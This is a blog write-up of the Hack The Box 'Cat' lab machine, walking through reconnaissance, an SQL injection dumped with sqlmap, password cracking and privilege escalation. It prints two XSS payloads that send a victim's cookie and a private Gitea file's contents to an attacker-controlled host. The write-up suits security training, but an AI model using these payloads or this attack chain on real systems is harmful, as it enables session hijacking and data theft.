HTB CAT(write-up)
HTB CTF writeup step by step to the root flag.
Get Izzat Mammadzada’s stories in your inbox
Join Medium for free to get updates from this writer.
As the first step, I used Nmap for initial reconnaissance and discovered a Git repository. I used the -T5 option for a faster scan, the -F option to scan the top 100 ports, and the -A option to obtain detailed results, including information about the operating system. When the -A flag is used in Nmap, it also automatically uses the -sC flag, which runs a set of default Nmap scripts designed to detect vulnerabilities and configuration issues.
I used the git-dumper tool to download the entire repository and began analyzing the source codes. In the accept_cat.php file, I discovered an SQL injection vulnerability. The application takes the catName parameter and uses it in an SQL query without proper sanitization, making it vulnerable to SQL injection. Upon closer inspection of the code, I noticed that to exploit this vulnerability, we would need axel's cookie, as the application checks for the user's session.
I also discovered an XSS vulnerability in join.php. The application accepts email and username inputs and saves them without proper sanitization. As a result, if the username contains an XSS payload, it could potentially affect the admin when they view the input.
My goal here was to obtain axel’s session and then exploit the SQL vulnerability. To get Axel’s session, I decided to exploit the XSS vulnerability I had discovered. I registered a username that contained an XSS payload:
<script>document.location='http://10.10.x.y:9082/?c='+document.cookie;</script>
After registering, I uploaded an image, hoping that when the admin viewed it, my XSS payload would execute.
And it worked — I was able to capture the admin’s cookie.
Using the stolen cookie, I accessed the Admin section.
At this point, I exploited the SQL injection vulnerability in accept_cat.php. I saved the accept request and used sqlmap to extract the database table. Since the vulnerability exists in the catName parameter, I used the -p option to specify it, which helped save time. The --batch parameter was used to automatically select the default options, while the --dump option was used to retrieve the entire database. The --level 5 and --risk 3 options were set to ensure sqlmap applied more extensive and aggressive payloads.
From the database, I retrieved several user passwords. I successfully cracked rosa’s password using CrackStation and then logged in to the SSH service with her credentials. Once logged in, I used linpeas to enumerate the internal environment.
During this process, I discovered an interesting file: the access log.
While looking through the access.log, I found the credentials for the axel user.
I logged into SSH with these credentials and got the first flag.
Once logged in, I saw a message that said, “You have mail.”
I decided to check the mail, which mentioned a web application running on port 3000.
Using port forwarding, I was able to access the web app on port 3000.
On the web application, I logged in using Axel’s credentials.
I discovered that the version of Gitea had a stored XSS vulnerability.
Referring to ExploitDB, I found that there’s a stored XSS vulnerability in the description section. The email also specifically emphasized this section. So, I created a new repository and added the following payload to the description:
<a href='javascript:fetch("http://localhost:3000/administrator/Employeemanagement/raw/branch/main/index.php").then(response=>response.text()).then(data=>fetch("http://10.10.x.y:2434/?d="+encodeURICo
mponent(btoa(unescape(encodeURIComponent(data))))));'>ATTACK</a>At first, I checked out the README.md file mentioned in the email, but there wasn’t anything useful there. So, I decided to go for the index.php page instead. This payload grabs sensitive data (like the content from the index.php file) from the vulnerable server and sends it to an external server I control.
This is how my repository looked:
Before sending the email, I started a Python server on my machine. After I sent the email, I quickly received data on my Python server.
After decrypting the received data, I obtained the credentials for the admin user.
Using the admin’s password, I logged in as root and obtained the final flag!
